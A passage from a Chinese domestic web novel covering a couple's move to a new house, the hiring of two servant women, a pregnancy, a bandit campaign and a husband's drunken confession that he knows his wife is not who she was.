让下人住倒座房。” 春花和秋花眨巴了一下眼睛,春花问:“爹, 咱们换宅子了吗?” 祁晟点了点头, 笑道:“之后你和秋花可以住更大的屋子。” 这家里人多了,确实得换宅子, 且家里条件也好了,也可以换更大更舒适的宅子。 陆鸢问:“这宅子慢慢来没关系,还有一个月呢。” 老太太道:“这新赁的宅子可不能敲敲打打。” 祁晟点头:“晓得了。” 吃完了暮食, 天色黑得也快,他们也就没有去消食。再说明日也有下人要住进来,孩子俩的屋子还得收拾收拾。 陆鸢在屋子里叠衣裳,秋花在一旁玩着布老虎和小人偶,而春花则坐着看着自己的娘亲。 春花盯着她看了许久,陆鸢也察觉到她不大对劲,便转头问:“春花,怎么了?” 春花踌躇了一下,才问:“娘是不是有弟弟妹妹了?” 听到这话,秋花动作一停,转头看向自己娘的肚子? 陆鸢晓得也是瞒不住孩子,索性也没顾虑没满三个月,径直点了点头:“是有了,怎么了?” 小姑娘不知想到了什么,眼睛红红的:“那、那以后爹和娘还会对我和妹妹像现在这么好吗?” 陆鸢揉了揉她的脑袋:“你这傻孩子,说什么傻话呢。” 秋花疑惑地看向姐姐,不解的反问:“我们也是,爹娘的孩子,为什么有弟弟妹妹,就不对我们好?” 秋花三岁多了,但是这话语断句还是有些问题,但总比先前好很多了。 虽然话还不算特别利落,但她的逻辑却是很清晰。 陆鸢也摸了摸秋花的小脸蛋,说:“对呀,你们也是爹娘的孩子,为什么会因为有了别的小孩而忽略了你们?” “或许会因为弟弟妹妹还小,不会说话,不会走路,不会自己吃饭,我们会多照顾他一点,但依旧会爱着你们。” 说到后边,陆鸢温笑的与她们说:“我们要是多照顾弟弟妹妹多一点,你们吃醋了,也可以与我说,不要憋着在心里。” 春花摇了摇头:“春花不会吃醋。” 秋花也跟着姐姐一同摇头:“秋花也不会,会照顾弟弟妹妹。” 春花道:“娘,那我要不要去铺子里给你帮忙?” 陆鸢笑道:“不用你,等搬了新家后呀,我得给你和秋花请个女先生,教你们学习。” 春花道:“可爹不是在教我们吗?” 陆鸢摇头道:“女先生不仅仅会教你们习字,也会教你们琴棋书画,当然了,也不是每个女先生都会这些,到时候也有可能会请两个女先生,先看看你们爱学什么。” 这个时代,女子学院少之又少,这生活物质提高了,肯定要富足一下孩子们的精神世界。 让她们有了学识,有自我,不会因为这个世界女子地位低下,而自卑。 也不会因为嫁人以后,婆家待她不好,而忍气吞声。 春花:“娘,会不会花很多银子?” 陆鸢笑道:“把银子花到你们身上,是值得的。” 收拾了东西后,祁晟帮忙搬到老太太的屋子里去。 这屋子地板也是花了银钱的,搬家的时候,自然也是要拆走的。 陆鸢回了屋,把发髻拆开,梳发间,祁晟从外头进来。 他道:“除了一个下人外,还有一个双日去给你干活的妇人。” 陆鸢好奇地看向他:“什么意思?” 祁晟也就把今日的事说了。 陆鸢:“那也正好,我原本就想着要多请一个人呢,不过这工钱,到时候先把第一个月的工钱给了牙行后,别人该是多少就是多少。” “这干活的,要的是勤快,上心,要是真知道别人工钱那么多,自己的工钱那么少,心里总会不大舒服,做活上可能不会懈怠,但肯定不如多给钱更卖力。” 祁晟道:“铺子的事,你决定。” 陆鸢点头,梳了头后,她上了榻,趴在他腿上,与他说了方才春花问她的问题。 祁晟道:“春花虽然年纪小,但毕竟是穷人家的孩子早当家,又吃了那么多苦,她的心思自然比别的孩子要重一些,也敏感一些。” “到时候如你所言,小的孩子有的,她和秋花也得有。” 陆鸢第二日便见到了那两个妇人。 一个叫满娘,一个叫翠娘。 陆鸢与满娘说了地址后,让她明日晌午就到苏记小食铺子去,到时候再仔细与她说规矩。 罢了,她才让满娘先回家去,然后仔细和翠娘话家常。 “听说你家中也有孩子,有多少个孩子,年岁几何?” 翠娘老实应道:“有三个孩子,最大的已经十七岁了,最小的八岁。” 陆鸢疑惑道:“那这孩子都已经这么大了,也可以帮家里做些活了,怎的会典当了自己?” 有些事,还是得问清楚的好,万一对方男人是个赌徒,那真是甩都甩不掉。 翠娘低下了头,声音有些苦涩:“我家大郎摔断了腿,为了给他治腿。家底也几乎掏空了,我男人也无甚活计,只能守着那几亩薄田,缴了粮税后,家中都吃不饱,以后大郎说亲都是问题。” “本想找活计,但处处碰壁,也没个门路,听人说公家牙行能帮人找活计,我就去了。” 翠娘虽说得轻松,但陆鸢从祁晟那处了解过。 这律法中,虽多有保护奴隶的律例,但毕竟为奴者就已经是贱籍了。 脱籍便难了,并不是从主家离开了,恢复了自由身就能脱籍。 脱籍要有主家签字,也得交付一笔脱籍费。 身为贱籍,自是被人瞧不起,唾弃,不然也不会有那么多人想要脱籍。 陆鸢看了眼妇人,也没再说什么,只道:“平日里你就做些家务,带带两个孩子。” “除了一个月固定的三百五十文的月钱外,若是做得好,会根据你做活的情况,额外给十文到五十文的赏银。” “吃住也包,每月给你两日假归家探亲,衣裳这边,我会给你布料,你闲暇的时候便自己做。” 昨日祁晟便说了,卖身到她家,便是衣食住行都是在他们家了的。 那翠娘听到这些话,都惊了好一会。 她这是遇上好人家了! 她忙抬起头,万分感激,声音都打着颤道:“娘、娘子放心,我一定会好好干活的,绝对不会辜负娘子的!” 陆鸢:“咱们家也没那么多规矩,好好干活就是了。” 等陆鸢晌午去了夜市街后,也与满娘仔细说了规矩。 “这铺子后边有一间屋子,偶尔有个小姑娘住在里头,我会在那间屋子多添一张小床,平日忙得晚了,你就在那处住,单日你若想住也可以。” “但是,我这不包吃,所以呢,工钱我会和旁人一样算给你,一晚上是二十文,你觉得如何?” 满娘道:“娘子能给我活干,我已经很感激了,况且原本说好的是三百五十文一个月的月钱,如今不过十五日的活计,就有三百文,真的真的很谢谢娘子。” 说到后头,满娘的眼眶也红了。 陆鸢心下叹了一口气。 也不知是不是有孕了,听着都特别同情,心酸酸涩涩的。 “对了,这在摊子做活的,与旁人一样的工钱,也不好特别对待,所以这一年两身衣裳,是不做的,但做得好了都会额外的奖励,这些奖励也是够你做衣裳的。” 满娘忙摆手道:“没关系的,我衣裳够穿的,只是……娘子,我、我可否预支下下个月的工钱……家里实在是快揭不开锅了。” 第一个月的工钱,是直接给牙行的,所以到手什么都没有。 这正经的牙行,给了他们选择,有的是一次买断卖身钱,有的则是去主家领月钱。 这用钱用的急,便会选前者。 陆鸢是个好说话的,应:“行,一会我立个字据,你签字便成。” 说罢,转而问:“对了,嵇捕头家中,可去过了?” 满娘:“那位官爷把我领到了门口,给了我一把钥匙,让我趁他不在家中时过去。” 陆鸢笑了笑,道:“那嵇捕头是个好人,你也别太害怕。” 满娘点了点头,应:“官爷确实是个好人。” 昨日本因男人长得高大凶相而惧怕,为接下来的日子而胆颤心惊,可不承想,行为举止确实比一些人好多了。 更别说,她能有这份活计,还是多亏这位官爷。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 120-130 第121章 家中多了一个帮忙的人, 不仅陆鸢轻松了,就是老太太都轻松了不少。 那翠娘是个能干的,天才蒙蒙亮,就起来把衣服都拿出去洗了。 洗了衣裳回来, 就做了朝食, 打扫院子。 孩子俩倒是不用怎么看着, 她们很多时候都是在家中练字,要么就是在巷子里和其他同龄孩子玩, 这个时候得时不时瞧几眼。 至于家中喂鸡和给菜浇水,就是孩子和老太太的活了。 天一亮, 孩子第一件事就是喂鸡。 而那一小块地, 则是老太太的心血,每天都要看看自己的菜一点点长大, 就特别有成就感。 这陆鸢就不懂了, 以前应该也没少种地, 现在进城了, 怎么还想着种地种菜? 家中活计少了, 陆鸢这月份还没满三个月,却已经养出了一小圈的肉。 祁晟这些天下值后, 便是去牙行找宅子。小半个月过去了,倒也找到了合适的宅子。 陆鸢去瞧过了, 院子和现在也差不多大, 只是屋子多了三间。 正房东西两间,还有西厢一间屋子, 两间倒座房。 只要陆鸢这月份出了三个月,就搬过去。 这月份还没到,就用来修整了。 老太太千叮咛万嘱咐, 这一定不能在新家打孔,所以也没怎么修整,孩子的屋子,就着旧地板在床边铺上一圈,且在外边做好了一个秋千,才带回家中, 虽然这边的宅子还有一个多月才到租期,但毕竟人多了,也不好住,也就等租期到了再退租,现在就先慢慢把东西搬过去。 等真要搬的时候,也就只用搬床和桌椅,以及常用到的锅碗瓢盆。 这搬了两日,也就全搬完了。 春花秋花到了新家,看到秋千,喜欢得不得了。 老太太怕孙媳也忍不住想玩,便念叨着:“孩子坐着玩就成了,你可别也凑热闹一块去荡秋千。” 陆鸢没好气道:“老太太,我又不是小孩子了。” 老太太睨了她一眼:“你不是小孩子,但是小孩子心性,瞧着好玩的,自己也想玩。” 这就是生活久了,越来越了解对方了。 陆鸢摆了摆手:“我才没那么不靠谱。” 老太太瞧她那模样,转头就与翠娘道:“你可得看着娘子,别让她坐着秋千。” 翠娘看着玩得不亦乐乎的两个孩子,脸上带着笑,听到老太太的嘱咐,应了声“是。” 这入冬之后,一日比一日冷,夜市街的生意也不怎么样。 生意冷清,营收差,陆鸢索性就让胡七娘看账,月底再对账。 因着离夜市街也就是步行一刻余,所以陆鸢只双日早间去一趟,待小半个时辰就会回去。 而这营生利润,再结清了工钱后,还有各项支出,每日收入都不会超过五十文。 虽然少,但也总好过没有。 如今租房就得一贯钱一个月,她这一个月就挣六七八文,都不够给租金,得亏祁晟的月俸是不变的,才没有动到他们的小金库,甚至还是能存下一点银钱的。 只是这一到年底,那些在收粮季未抢到粮食的山贼土匪又下山作乱了。 又是眼瞅着要过年了,祁晟再次被派遣出去剿匪。 陆鸢这个时候,已经孕四月了。 她早间去夜市街,到了小院,发现满娘也在,她便问:“怎来得这般早?” 满娘道:“嵇家官爷去剿匪了,也不用我过去浆衣做羹,这单日闲着,心里就发慌,就早些过来瞧瞧有什么要忙活的。” 陆鸢顺口问:“在嵇捕头家里做活,可还习惯?” 满娘点头,应:“嵇官爷是个极好的人。” 这是陆鸢第二次听到满娘夸嵇捕头,第一回用的是“好”,第二次是“极好”,想来也是真的极好。 满娘和翠娘都一样,都是个勤快细心的,她们干活,几乎都不用陆鸢操心。 忙活了一会儿,陆鸢察觉到满娘几番欲言又止,不知她想说什么,也就等她自己问。 “娘子,这往年的剿匪,到底有多凶险?” 原本还以为要提支月钱,不曾想问的是这事,陆鸢诧异了一瞬,才应道:“以前我不晓得如何,但是咱们现在的代知县剿匪很厉害,不然也不会打得这些山匪往深山里边躲了。” 先前的知县,因办事不力,被降职为了县丞,去了别的县。 知县位置空了下来,便由杨县丞暂代知县的位置,行知县之权。 “那……嵇官爷剿匪如何?” 陆鸢眉眼微一扬,这么关心雇主? 她朝着满娘淡淡一笑,道:“我也是只见过嵇捕头几回,但听我郎君说,嵇捕头的能力非常出众颇得代知县的赏识,前几次的剿匪,也是立过功的。” 满娘点了点头,怕主家误会,忙解释:“娘、娘子别误会,嵇官爷与我有恩,我总是会上心些的。” 陆鸢笑了笑,道:“嵇捕头为人正直,受他恩惠的人应也不少,剿匪凶险,你也受过他恩惠,担心嵇捕头安危也是正常,我不会多想。” 寡妇门前是非多,流言蜚语也能把人给逼死,便是瞧出点什么,陆鸢也不会说。 满娘暗暗地松了一口气。 * 这回年前剿匪,祁晟在年二十八就回来了。 一老一少上下左右都仔细瞧了一遍,才松了一口气,能过一个好年了。 毕竟剿匪时真动刀的,祁晟也不是什么伤也没有,但幸亏都是些皮肉伤,最严重的也只是手臂被划了一道口子。 陆鸢给他上了药,念叨着:“上回是左手,这回是右手,你这一双手都不带些伤,是不是觉得不够光荣?” 祁晟:“我这只是皮肉伤,养几日就能好了。”说到这,他轻叹了一声:“有些人,却是回不来了。” 陆鸢念叨的话咽了回去,没再说话。 祁晟见她情绪也消沉了下去,道:“不该与你说这些的。” 陆鸢摇了摇头:“不说,我也能猜到。” 祁晟道:“公署会在这两日给遗孀送去抚恤金,还有很多事情要处理,可能这个年每日都会在公署过。” 陆鸢仔细给他包扎,说:“没关系,你忙你的,家里和铺子里都添了人手,我也不会逞强。” 她又问:“嵇捕头和何豹也没事吧?” 祁晟愣一下:“怎么忽然问起嵇捕头了?” 何豹是何柔的兄长,如今何柔在铺子忙活,她问一嘴也是正常,但有些想不明白为什么忽然问起嵇捕头。 陆鸢包扎好了手臂,拿剪子剪了纱布,继而绑了起来。 “前些天满娘问了我,我琢磨着明日去铺子的时候,顺道与她说一声,省得挂念。” 祁晟微微蹙眉:“她又怎么会问起嵇捕头?” 陆鸢直起身,道:“你那么好奇做什么,出去可别乱说。” 祁晟恍惚间似乎明白了些什么,也没继续追问,放下袖子后,回道:“何豹立了功,嵇捕头也立了功,就是和我一样,都伤了手臂,他比我严重。” 陆鸢想了想,说:“嵇捕头家里也没别人了,这年三十你把人请家里来一起吃顿年夜饭吧。” 祁晟在公署里,就数与嵇捕头的交情最深。 更别说,他们一起剿过数次匪,也是实实在在过命的交情,现在又伤了,请人吃一顿年夜饭也是应当的。 祁晟道:“明日我去一趟他家,顺道看看他的伤势。” 陆鸢道:“你祖母说明日会熬鸡汤,你等鸡汤熬好了,顺道送一些去给嵇捕头。” 祁晟带着鸡汤来了嵇捕头的家中。 吊着一只手的 嵇捕头来开了门,看到祁晟的时候,有些惊诧:“你怎么来了?” 祁晟提了提手里的篮子:“老太太听说你也受伤了,就让我送些鸡汤过来,顺道邀你明日到家中用团圆饭。” 听到团圆饭,嵇捕头还是愣了愣,随即笑了笑:“先进来吧。” 祁晟跟着他进了院子。 入了院子,瞧着摆放整齐的木柴,没有一根杂草的院子,眉头微挑。 嵇捕头早年丧妻,一直未娶,一直是自己一个人生活。 一个人生活,难免会糙一些,先前祁晟来过一趟嵇捕头的家,那会可没收掇得这整齐干净。 嵇捕头给祁晟倒了杯热茶,道:“团圆饭是一家子一块吃的,我就不去凑热闹了,你也不用劝我。” 祁晟听得出,他是真不想来,便也就真没劝。 祁晟与嵇捕头说了一些公事,一坐就是半个时辰,瞧着时辰快至用中食的时辰了,便告辞了。 这才出了院子,就看到了满娘提着一篮子菜到了门外。 看到东家郎君,满娘一愣,但还是喊了声:“郎君。” 祁晟朝她颔了颔首,也没有多做打听,掠过她而去。 嵇捕头瞧见满娘,问道:“今日是双日,怎的来了?” 满娘提着菜进了院子,瞧见他手吊着,担忧地问:“官爷这手伤得严重吗?” 嵇捕头道:“养些日子便能好。” 满娘继而道:“这过年,总得吃口热乎饭。” 她去洗菜,踌躇了一下,转头看向嵇捕头:“我有件事想求官爷。” 嵇捕头喝了口茶,点头:“你说。” 满娘垂下眸子,小声道:“我住的巷子,那里的人,因着我们孤儿寡母,时常欺负我们,夜里……”她有些说不下去了,眼眶泛红,肩膀也微微颤抖。 嵇捕头蓦地放下杯子,发出“咚”的一声响,神色冷冽:“夜里如何?” 满娘声音有些发颤:“夜里有人想……翻我家的墙头,我不敢与旁人说,他们不仅不会信我,说我、说我……” 说她浪荡,说她寡妇耐不住寂寞。 嵇捕头默了片刻,道:“你想我怎么帮你?” 满娘转头,红着眼看向他,有些无措的说:“年三十,官爷能不能来一趟我家里,吃年夜饭?” 嵇捕头晓得她的用意,让他去震慑那些不怀好意的登徒子。 他点了点头:“行,明日我会过去。” 第122章 年三十, 陆鸢和老太太去菜市买菜,便看到公署捕快和护城军,押着一行精神萎靡的山贼入城。 用绳子拴着,一条行伍, 长长地不见尾。 陆鸢没仔细打听, 所以只知道是胜了, 不知什么情况。 这么多人,可是直接把山贼的老巢都给剿了? 等祁晟下值后, 陆鸢才仔细问他是怎么回事。 祁晟道:“几个被剿过的寨子,剩下的一些余孽, 联合在了一起, 又重新组了一个新寨子。” “这些人是半路聚合,没有什么义气和默契, 所以只能算是乌合之众, 不堪一击。” 陆鸢想了想, 道:“不对呀, 既然不堪一击, 那你们怎么去了差不多一个月?” 祁晟:“我们这正打着这个寨子,别的地方趁着大军在别处, 顾不得其他地方,便趁机作乱下山强抢。” “杨大人直接就把这地方交给了周副将, 随即领着一支旧部去剿匪。” 陆鸢懵了一下:“咋又扯到旧部了?” 祁晟笑了笑:“杨大人以前是行伍出身, 自是有与他出生入死的兄弟,他被下放后, 就有一些兄弟离开了,来投奔他,也就是最近的事。” “虽然只有几十人, 但每个人的身手都极好,与山贼比起来,以一抵五不成问题。” 现在世道偏太平,十年来没有外敌来犯,所以朝中便渐渐的重文轻武。 有些武将没有功绩,也一直止步不前,但凡犯了错,被贬职或降职,就很难有翻身的机会。 杨县丞先前到底犯了何错,也不是陆鸢等能打听的。 陆鸢道:“难怪了,这么多人,好似敲不到头似的。” 祁晟:“大概有五百余人。” 陆鸢道:“往前一年再加上这一回的剿匪,都剿灭了也有千数人了,岭南境内,以广康为中,周围的山寨寨子,估计也没剿得差不多了吧?” 祁晟点了点头:“也差不多了。” 陆鸢:“这地方官两年一换,杨大人到了七八月份,是不是就得被调走了?” 聊起这个话题,祁晟也沉默了。 好半晌后,他才道:“若是杨大人被调走了,我估摸着也会离开公署。” 毕竟现在他的月俸走的是杨县丞的私库,若是继续在公署,换了一个上峰后,月俸估摸不到两贯钱,这是其一,其二则是新县丞未必会留他。 陆鸢:“你若是习惯了在公署做活,不想离开,钱少些也无妨。” 祁晟笑了笑,道:“再看吧。” 吃了年夜饭后,祁晟也还是不能陪妻儿长辈守岁,还是得去公署审问犯人。 匆匆赶到公署,便见嵇捕头也匆匆赶来,身上还带着些许的油烟气。 祁晟问他:“晚饭在哪吃的?” 嵇捕头面色不改:“在别人家吃的。” 想起祁晟也邀过,他给拒了,便解释:“顺道去帮个忙。” 祁晟点了点头,没再追问。 因着今日才把犯人押进城,有很多琐事要处理,所以整个公署的人都是轮番回去吃了年夜饭再回来。 逐一审问这些山贼。 这一审就审到了子时。 大部分的家眷都跑来送夜宵。 陆鸢有孕,不适合夜出,所以也托了人,送了吃食来公署。 陆鸢用今晚的炖鸡的汤汁,炖了粥,又添了些肉进去,做了鸡汤猪肉粥,送了整整一锅过去,还有一坛子小菜,让祁晟分给别人吃。 大家伙都把家里送来的吃食摆到了桌上,大家伙都站着,或是席地而坐。 见着杨大人过来了,也不知是谁,舀了一碗粥送到了跟前。 杨县丞也是径自撩袍坐在地上吃,与周副将道:“我好久没有这种和大家一块坐在地上用食了,恍惚间好似又回到了在军中的日子。” 周副将低声道:“如今大人把广康周围的山匪都剿灭了,已是立下功绩,说不定等期满两年,就可以官复原职了。” 杨致远看了眼周遭满是疲态的手下,淡淡道:“还不到时间。” 周副将不解:“大人是何意?” 杨致远:“要灭就灭得彻底些。虽说如今荡平了这些山头,时间长久后,还是会因地形缘故,汇聚许多的江洋大盗,一些恶人,但起码在十年内,这岭南是真的太平,不会大面积被山贼侵扰。” “且完善了这些山头的地形,也有利于后人剿匪,还有很多事没做。” 吃完了夜宵,杨致远便起身去写折子。 剿灭山贼的折子,以及继任的折子。 祁晟和大家伙轮番去班房歇息,忙活到天亮,才各自归家。 到了家中,用了些吃食,倒头就睡。 老太太虽心疼孙子,到底没再念叨公署的不是。 毕竟,公署剿匪也不易。 祁晟睡到下午才醒。 他从屋中出来,翠娘见了,忙去准备吃食。 家中没有其他人,他问翠娘:“他们人去哪了?” 翠娘道:“娘子说要去夜市交代事情,老太太不放心就跟着去了,怕吵到郎君,也把两个孩子带去了。” 祁晟颔首,吃了些餐食后,就把马车拴上,去夜市接人。 这过年了,街上都是人,祁晟赶车也赶得极慢,到了夜市街,还没到摆摊的时辰,人流不多,马车好通行,很快就到了铺子前。 两个孩子正在铺子里玩耍,看见祁晟,都激动地喊了一声“爹”,跑了出去。 算起来,这一个多月,祁晟都在外剿匪,就在家里待了一日,大多时候也是在休息,都没有好好相处,两个孩子自然是他的。 祁晟蹲下身子,把两个孩子都抱了起来,步履沉稳地走入了铺子。 陆鸢听到孩子喊爹,就撩开帘子,从后院出来。 她问:“吃了吗?” 祁晟点头:“在家吃了碗羊汤馎饦。” 陆鸢道:“就一碗,哪够你吃的。” 她转头喊:“满娘,盛一碗鱼丸汤出来。” 鱼丸汤,是年底新添的吃食,鱼丸是请七娘丈夫来捶打的。 陆鸢也是看过美食节目的,晓得捶打鱼丸的技巧,再加上她自己调制的香料,这鱼丸有嚼劲,用鱼骨熬制出来的汤汁也浓郁。 在这大冬天,从旁经过,闻到香味,再看到那冒着热气,偏乳白色的鱼丸汤,任谁都想喝上一碗。 这鱼虽然不是很贵,就几文钱一斤,但挑刺费人工,所以陆鸢这鱼丸汤,小碗五文钱,大碗七文钱。 这生意虽不至于火爆,但好歹每天晚上的收入也从不到五十文,到了百文。 满娘从厨房端出了一碗鱼丸汤,随即问:“娘子,我能不能离开半个时辰?” 陆鸢瞧着也还没到开市的时候,就应了。 她还道:“我要打一份鱼丸汤。” 说着,拿了七文钱给陆鸢。 陆鸢笑道:“自家人,五文钱就够了。” 她退了两文钱回去。 满娘:“谢谢娘子。” 她回去煮了鱼丸汤。 陆鸢转头瞧了她一眼。 因着家里漏风,且这些天要晚晚开市,所以满娘来问过她,能不能让两个孩子住几宿。 现在何豹回来了,晚上也会来接送自己妹子的,另一个帮工,就是住这附近的,屋子也就满娘一个人住,陆鸢自是同意了。 只是,孩子都在后院,她要送鱼丸汤去哪? 陆鸢琢磨了一下,也没细想。 祁晟喝了鱼丸汤后,说:“也给我做几份,我一会给杨大人和周副将,还有嵇捕头送一份过去。” 他们在这广康县都是孤家寡人,杨大人和周副将也都不是奢靡的人,估计今晚也是将就着吃。 陆鸢点头,应:“行,他们几位都是大个子,我去做超大份的。” 祁晟道:“不用,你说我做就成。” 陆鸢笑道:“不用,鱼丸是已经打好了的,汤也是提前熬好的,只需要下锅煮熟了就成。” 祁晟还是没让她凑近灶台,他来下鱼丸。 陆鸢让他弄了三分汤少鱼丸多的,用坛子装好,盖上盖子,再用草绳绑了十字。 祁晟把两个孩子都带着,一块去送鱼丸汤。 先去了公署,再是周副将的家。 周副将本想着留他下来,知道他还要去一趟嵇捕头的家,也就提着坛子,就道一块去,顺道吃几口酒。 把马车拴在巷口,祁晟让周副将提着鱼丸汤,他则抱着两个孩子。 周副将调侃道:“你这俩闺女还真是被你捧在掌心里了。” 先前调查祁晟的事,也是经过周副将的手,所以也知道他媳妇是二嫁,孩子也是跟着过来的,但瞧着他没有与别人说的打算,且看着也是也就没有当作不知道。 祁晟笑道:“孩子乖巧,也会心疼我和她们的娘,我自是要宠着。” 春花嘴角一直上扬,眼也是弯弯的。 在她的记忆里,亲爹都没有抱过她,也不会温声细语地与她说话,更别说会给她花钱了。 她的新爹,会给她和妹妹买吃的,也会给她们买好玩的,更会抱着她们去玩,告诉别人,她们是他的闺女。 她很喜欢很喜欢现在爹爹,现在的祖母。 但她的娘亲,不管是以前的,还是现在的娘亲,她都非常的喜欢。 春花没忍住,龇着牙笑。 走到了嵇捕头家门外,祁晟把两个孩子放了下来,正欲敲门,门就先开了。 满娘看到他们,惊得倒退了一步,脸上的神色都有些失措。 祁晟:“……” 也是巧了,才回来几日,就撞见了两回。 嵇捕头看到了他们,与满娘道:“你先去忙吧。” 满娘提着篮子,匆匆离开。 进了院子,周副将打趣道:“那家的娘子,怎从你家出来了?” 嵇捕头给他们倒了水,道:“别胡说八道,那是祁晟与我合伙买的下人。” 周副将看到了桌面上放的鱼丸汤,调侃道:“我瞧着那娘子看到我们的时候,惊慌失措的模样,可不像只是个下人,倒是对你有几分意思的。” 嵇捕头笑了一声:“胡说八道,我这般凶神恶煞,邻居都还会用来吓唬自己孩子。” 祁晟本不想掺和,但听见他这话,便道:“所谓情人眼里出西施,样貌也就没那么重要了。” 周副将点头。 “不过话又说回来,既是贱籍,纳妾可以,娶妻便算了。” 嵇捕头道:“副将你又在胡说了,且不说我这种寻常人家纳什么妾,就说人家与我清清白白,都没哪个意思。” 祁晟喝了口茶,不疾不徐地道:“满娘与翠娘不是贱籍。” 嵇捕头和周副将闻言,都诧异地看向他。 周副将诧异道:“这买下人,竟还有不签卖身契的?” 祁晟笑了笑,道:“我家娘子良善,让我与牙行的人说了,月前照给,但就不签卖身契了,只签了个帮工的契书,两人不识字,也就没看出端倪。” “自然,刚开始对两人不了解,也就暂时没有与她们说这事。” 祁晟说罢,看向嵇捕头:“我听我家娘子说,那翠娘勤恳能干,品行也可,就是有两个孩子,一个还得吃药,你若是有意,便仔细衡量,早些决定,别让人家妇人白白期待。” 嵇捕头愣怔了一息,随即道:“在我家里说说便罢了,出去就别说了,对人家妇人的名声不好。” 周副将道:“哟,还说没那个意思,这么关心人家娘子,瞧着你也不像是没意思的。” 嵇捕头没与他继续争辩,道:“既然来了,就一块吃些吧。” 祁晟道:“我得先把我家娘子和祖母先送回去,等会儿再过来。” 嵇捕头道:“行,一会我去馆子炒几个菜回来。” 祁晟没待一会儿就走了,回到铺子,那满娘见着人,慌得失手就打破了一个碗。 陆鸢瞧了眼,也没说她,但能瞧得出她慌乱。 回家时,陆鸢靠着车厢门,问赶马车的祁晟:“方才满娘瞧见你,怎那般慌张?” 祁晟如实道:“在嵇捕头家里碰见她了。” 陆鸢诧异道:“原来那份鱼丸汤是给嵇捕头送去的,我就说孩子都在,她给谁送去。” 祁晟继而道:“上回给嵇捕头家送鸡汤,也碰上了。” 陆鸢结合她先前瞧出的那点儿端倪,说:“先前不是说,只不在家的时候过去么,现在人在家也过去,这去得也未免勤了一些?” 祁晟:“嵇捕头说了,事关人家的名声,在外头不能乱说。” 陆鸢拍了一下他的背:“我口风可最严了。” 祁晟笑了笑,道:“一会儿送你们回去后,我还得过去嵇捕头家吃酒。” 陆鸢道:“那你少喝些,早点回来。” 祁晟应了声:“好。” 把人送到了家门口,陆鸢给他盛了一坛子羊肉:“拿着这个去嵇捕头家。” 祁晟接过了,她再次叮嘱:“记住,别喝太多酒,若是喝多了酒,就在嵇捕头家里歇着,别赶回来了。” 祁晟笑了笑:“晓得了晓得了,我若太晚没回来,你早些睡吧。” 陆鸢点了头。 祁晟回到嵇捕头的家里,院子里已经摆上了一张桌子,也不知他去哪杀的鸡,已经整只摆到了桌案上,还有三碗酒。 嵇捕头看了眼他:“来了,就一块上几炷香吧。” 说着,把一把香递给了他。 几个人,给这次在剿匪中不幸丧命的同僚上香,祭酒。 …… 半夜,听到敲门声,翠娘提着油灯,匆匆开了门。 闻到了满身酒气,问:“郎君可要备热水?” 祁晟点了点头:“给我备一点吧。” 翠娘道:“娘子把郎君的衣裳放在了堂屋,说回来的时候可以换。” 陆鸢这有孕了,对气味非常敏感,便先把衣服备在外头,省得熏到她。 祁晟简单洗漱后,身上难免还带着些酒气。 他回了屋,也没点灯,摸黑走到床边,上了榻入了被窝,从后背抱住了妻子。 陆鸢早就听到了声响,也就醒了。 她道:“你喝了多少,洗了澡,身上竟还有酒味。” 祁晟闻言,正要坐起,陆鸢拉住了他:“你要去哪?” 祁晟许是喝了不少,也吹了冷风,是以声音有些哑:“再去洗洗。” 陆鸢没好气道:“不是很浓,淡淡的,不用洗。” 祁晟便再次躺下,拥着她,唤着她:“丽娘。” 陆鸢“嗯?”了一声。 祁晟许是多喝了几盏酒,情绪有些低迷,他颇为伤感道:“今晚我,周副将,嵇捕头一同祭拜了阵亡的弟兄,后来又各自聊了聊自己的亲眷。” 陆鸢仔细听着,问:“然后呢?” 祁晟道:“以前去剿匪,嵇捕头总是最拼的那个,现在我才知道为何,他原先有一子,因祭祖他没有与妻儿父母一同回去,路上遇上山贼,为了不被辱,妻子自戕,孩子和父母皆被山贼所杀。” 陆鸢默了半晌,才道:“难怪他一直以来都是孤身一人,也没续娶了。” “周副将则是个孤儿,当上百夫长后,娶了个媳妇,生了两个孩子,后来发现因自己常年在军中,仔细媳妇与他人通奸,便是两个孩子都不是他的。” 陆鸢:…… 这些人,怎的一个比一个惨? 祁晟把她拥得更紧,说:“其实为他们感到同情的时候,我也有些庆幸,庆幸我现在有你,有三个孩子,还有祖母,庆幸我此前二十来年的不幸后,迎来了现在的幸福。” 陆鸢拍了拍他的手背,温声说:“别想那么多,有我,有祖母,有春花秋花,还有尚未出世的孩子陪着你,日子会一天比一天好的。” 祁晟把头埋在她后颈窝中,声音闷闷地,低低地:“现在的日子太美好了,有时候我都会觉得像是在做梦,梦一醒,什么都没了。” 陆鸢还道自己现在激素上涨,特别多愁善感,没想他比她还多愁善感。 陆鸢问:“你怎么会这么想?” 祁晟默了一会儿,才缓缓道:“我知道,我很久之前就知道了。” 陆鸢听着他虎头虎脑的话,甚是疑惑。 好一会后,才听到他说:“我知道你早已不是丽娘。” 第123章 “我知道你早已不是丽娘。” 陆鸢听到这话, 懵了好半晌,可又不是很惊讶。 这祁晟本就是个聪明人,她又做了这么多与寻常乡野妇人不同的事。 他怀疑,甚至这么觉得是事实, 也是情理之中。 老太太怕是也察觉出一些了, 只是都没有点破。 陆鸢沉默不语。 祁晟拥着她, 继而道:“我虽知道,但我是个自私的人, 我不关心先前的丽娘去了何处,我只关心你, 关心你会不会再次离开, 只剩下我们。” “一想到这些,我就不敢往下想, 我怕自己想疯魔了。” 陆鸢没有承认, 也没有否认, 只道:“与其患得患失, 还不如过好时下, 过好时下,比什么都重要。” 祁晟低低地“嗯”了一声, 继而问:“那你是凑合和我过日子,还是因为钟情我?” 陆鸢一默。 这醉酒后的祁晟, 怎的这般啰嗦?真想把他的嘴给堵上。 她翻了身, 在黑暗中捧上他的脸,凑了过去, 凭着感觉在他的唇上啄了一下,温声细语的哄道:“喜欢的,也是钟情的。” 虽然一开始就是奔着凑合过日子去的, 但要是他人品不好,样貌不好,她肯定也不会这么容易就妥协。 祁晟的唇角微勾,揽着她的腰身,在的唇上连啄了几下,道:“我也喜欢,很喜欢。” 陆鸢没忍住,嘴角也往上扬:“知道了知道了。” 祁晟酒后尤为霸道:“不管你是谁,不管说破天了,你就是我祁晟的妻,谁都改不了这个事实。” 陆鸢:“是是是,我是你妻,谁都改变不了。” 祁晟听着她信誓旦旦的话,便心满意足地睡了。 没听到他的声音,只有延绵的呼吸声,晓得他睡了,陆鸢笑着骂了声“冤家”后,也闭上眼眸睡在他的怀里。 出了年后,陆鸢才开始盘账。 